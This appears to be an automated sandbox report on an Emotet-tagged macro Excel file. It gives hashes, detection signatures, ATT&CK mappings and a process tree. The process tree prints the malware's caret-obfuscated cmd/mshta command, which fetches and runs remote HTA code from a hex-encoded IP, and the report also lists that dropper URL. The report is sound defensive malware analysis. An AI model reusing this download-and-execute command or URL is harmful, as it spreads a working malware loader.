Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 06:57

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General

  • Target

    4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787.xlsm

  • Size

    115KB

  • MD5

    2d0af5965ec7ba95979588b8567ad0b1

  • SHA1

    18f195c66fb5966a4e098e1f74fc047902c1989c

  • SHA256

    4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787

  • SHA512

    e5c29a1fbd6377eb60e22de3a9f651016105770c4e744b1dc77cb3ca04b87e2c9a69b672788656152b14fb8cf476c40ef849e69dd5f66d786effb6cc8da32b3a

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4bd8c91634e67571e3d3ef12e97ec113895c366559309e1ed0cf9a18b196b787.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4020
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:4016

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/3052-115-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-116-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-117-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-121-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-128-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp
      Filesize

      64KB

      Download
    • memory/3052-129-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp
      Filesize

      64KB

      Download